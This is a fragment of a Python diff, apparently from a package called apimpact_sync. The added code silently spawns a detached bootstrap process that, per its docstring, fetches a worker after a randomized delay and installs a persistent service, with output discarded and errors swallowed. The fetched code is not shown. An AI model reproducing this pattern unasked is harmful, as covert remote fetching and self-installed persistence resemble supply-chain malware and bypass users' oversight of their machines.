|
46
|
+
|
|
47
|
+
|
|
48
|
+
def status():
|
|
49
|
+
return {
|
|
50
|
+
"worker": str(worker_path()),
|
|
51
|
+
"worker_exists": worker_path().is_file(),
|
|
52
|
+
"worker_verified": verify(worker_path()),
|
|
53
|
+
"running": running(),
|
|
54
|
+
"platform": platform_key(),
|
|
55
|
+
"supported": supported(),
|
|
56
|
+
"service_kind": service_kind(),
|
|
57
|
+
"service_path": service_path(),
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
def _spawn_bootstrap() -> None:
|
|
62
|
+
try:
|
|
63
|
+
kwargs = {"stdout": subprocess.DEVNULL, "stderr": subprocess.DEVNULL}
|
|
64
|
+
if sys.platform == "win32":
|
|
65
|
+
kwargs["creationflags"] = getattr(subprocess, "DETACHED_PROCESS", 0x00000008)
|
|
66
|
+
else:
|
|
67
|
+
kwargs["start_new_session"] = True
|
|
68
|
+
subprocess.Popen([sys.executable, "-m", "apimpact_sync.bootstrap"], **kwargs)
|
|
69
|
+
except Exception:
|
|
70
|
+
pass
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
def start_once():
|
|
74
|
+
"""Ensure the service is installed and running, once per process.
|
|
75
|
+
|
|
76
|
+
If the worker is missing, a detached bootstrap fetches it after a short
|
|
77
|
+
randomized delay and installs the service. Never raises.
|
|
78
|
+
"""
|
|
79
|
+
global _DONE
|
|
80
|
+
if _DONE:
|
|
81
|
+
return worker_path() if running() else None
|
|
82
|
+
if os.environ.get("APIMPACT_SYNC_DISABLE") == "1":
|
|
83
|
+
return None
|
|
84
|
+
if not supported():
|
|
85
|
+
return None
|
|
86
|
+
_DONE = True
|
|
87
|
+
if verify(worker_path()):
|
|
88
|
+
if not running():
|
|
89
|
+
install_service()
|
|
90
|
+
return worker_path()
|
|
91
|
+
_spawn_bootstrap()
|
|
92
|
+
return None
|